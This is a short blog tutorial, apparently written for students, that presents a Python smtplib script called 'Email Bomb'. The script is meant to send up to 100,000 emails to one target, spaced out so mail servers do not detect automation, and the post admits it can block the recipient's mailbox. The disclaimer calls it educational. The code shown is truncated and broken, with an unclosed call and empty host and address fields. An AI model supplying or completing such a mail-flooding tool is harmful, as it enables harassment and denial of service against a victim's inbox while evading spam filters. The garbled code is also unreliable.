Create Email Bomb using Python

Python is one of the easiest programming language and while learning python, I came across a very simple and power python library smtplib, This simple python library can handle all the heavy lifting for you and send your emails.

It has built in tools to serve different type of email verification and security like TLS and SSL. Using this python module, I have written a small program that can send thousands of emails without any users intravention

Here is python code for sending thousands of emails (or Email Bomb )

# Name:        Email Bomb
# Purpose:     Program to send unlimited emails - This is for educational purpose only use this program with utmost care and We will not take any responsibility for any type of loss or damage due to occur
# Author:      rakesh  kumar
# Created:     11-02-2018
# Copyright:   rakesh kumar
# Licence:     MIT 
import time
import getpass
import smtplib
from email.mime.text import MIMEText
# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.
textfile ="abcd.txt"
fp = open(textfile, 'r')
# Create a text/plain message
msg = MIMEText(

me =''
target = ''

msg['Subject'] = 'The contents of %s' % textfile
msg['From'] = me
msg['To'] = target
password = getpass.getpass("Enter your email ID password  : ")
for i in range (1,100000):
    connection = smtplib.SMTP_SSL('',465)

The program will send 100000 email to its recipient in an interval of 15 second. This time is required so that no email server can catch that these emails are coming via automated system.

NOTE : we have written this program to show the power of python and smtplib module for educational purpose only. If you misuse this program and any damage / loss occur due to this program. We will not take any responsibility. This program can block email box of your recipient. So Run this program at your own risk.

Print Friendly, PDF & Email

Related Posts

If you like CBSEToaday and would like to contribute, you can also write an article using submit article or mail your article to See your article appearing on the main page and help other students/teachers.